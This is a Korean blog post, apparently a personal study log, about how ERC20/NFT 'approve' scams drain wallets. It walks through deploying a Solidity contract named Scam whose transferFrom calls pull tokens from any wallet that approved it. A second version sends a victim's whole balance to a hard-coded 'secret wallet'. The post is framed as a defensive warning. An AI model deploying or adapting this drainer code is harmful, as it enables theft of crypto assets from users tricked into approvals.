티스토리 뷰
NFT 시장을 접하면서 scam에 당하는 경우를 수도없이 봐왔다.
다행히 조심조심 하다 보니 아직까지 나는 당한적 없지만 초창기에 한 번 당할뻔한 아찔한 기억이 있다.
그런것들을 방지하기 위해 어떤 원리로 남의 지갑을 건드릴 수 있는지 공부해보자.
준비물
개인 발행했던 토큰 아무거나(사기당할 토큰)
나의 경우 이전에 발행해봤던 Role Token으로 진행해보겠다. (이미 한 번 테스팅해봐서 0.1개 빠져나감)
코드는 역시나 간단하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// IERC20 interface
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Scam {
// 건드릴 토큰 컨트렉주소
IERC20 token_to_scam = IERC20(0x3A7e4209B89cb9a9D0E792e54A287f8d6cE73D47);
// write function
function do_scam() public {
// 남의 지갑에 코인을 가져와 보기 (실행자의 주소에서 지금 컨트렉으로 약 100개 들어옴)
token_to_scam.transferFrom(msg.sender, address(this), 100000000000000000000);
}
}
대략적인 설명은 다음과 같다.
사기칠 Contract를 하나 발행 준비한다.
안에 빼내올 토큰의 컨트렉 주소를 입력하고 transferFrom function을 통해 트랜젝션을 날린 주소에서 Scam 컨트렉 주소로 지정한 amount 양 만큼 토큰을 빼내올 수 있다. (balance of 등을 통해 전체 토큰을 빼내올 수도 있음.)
그럼 컨트렉을 디플로이부터 순차적으로 진행해보겠다.
1. 컨트렉트 발행
2. Verify and publish
flatten을 통해 verify 해준다.
3. 작성한 컨트렉트에서 do_scam function을 write 시도해보기
verify 하고 바로 do_scam function을 날리려 하면 트젝 날리기전 진행할 수 없다는 창이 뜬다.
이유는 건드리려는 토큰의 write contract에서 approve를 통해 Scam contract에 권한을 줘야 하기 때문이다.
4. Approve 해보기
spender에는 작성한 Scam의 contract를 입력하고 amount에는 양을 입력해준다.
입력해주고 트젝을 날리려하면 권한을 부여하겠냐라는 창이 뜸.
바로 이창이 그 동안 많은 사람이 당했던 권한주기 사기이다.
여기서 확인을 누르면 이제 상대방이 사기치려고 입력한 컨트랙들이 자동으로 권한이 생기고 비싼 자신의 자산들을 빼갈 수 있게 된다.
그러므로 권한 트젝은 조심 또 조심해야 한다.
5. 다시 do_scam 실행해보기
아까와는 다르게 정상 트젝창이 뜨게 된다.
트젝이 정상 처리되고 나면 해당 approve 했던 지갑의 주소에서 Scam에서 지정한 수량 100개만큼 토큰이 Scam contract로 이동한것을 알 수 있다.
이렇게 사기가 이뤄나는 과정을 살펴봤다.
살짝만 응용하면 다음과 같이 전체 토큰을 훔쳐올 수 있을 것이다. (여기서 좀 더 또 응용하면 블루칩 컨트랙을 전부 집어놓고 다 빼올 수 있다..)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// IERC20 interface
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Scam {
// 건드릴 토큰 컨트렉주소
IERC20 token_to_scam = IERC20(0x3A7e4209B89cb9a9D0E792e54A287f8d6cE73D47);
// write function
function do_scam() public {
// 남의 지갑에 코인을 가져와 보기 (실행자의 주소에서 지금 컨트렉으로 약 100개 들어옴)
token_to_scam.transferFrom(msg.sender, address(this), 100000000000000000000);
}
// 전체 자산 훔치기
function do_scam_total() public {
// 두번째 지갑
address secret_wallet = address(0x55FbD3b98246ABcb6c650f2Ad670a1ba84Bba54c);
uint256 total_balance = token_to_scam.balanceOf(msg.sender);
token_to_scam.transferFrom(msg.sender, secret_wallet, total_balance);
}
}
아무튼 사기는 결국 자신이 조심 또 조심하는 수 밖에 없다는게 참 아쉬운 시장이다..
'블록체인 > 코인' 카테고리의 다른 글
07. ERC20, 721 - NFT 토큰 채굴 기능 (0) | 2023.01.15 |
---|---|
05. Polygon - 폴리곤에서 ERC20 contract deploy 해보기 (0) | 2022.12.11 |
04. ERC20 - Role을 3자에게 부여 및 3자 민팅해보기 (1) | 2022.12.11 |
03. Remix - github 연동하기 (0) | 2022.12.09 |
02. ERC20 - Mintable로 민팅해보기 (0) | 2022.12.08 |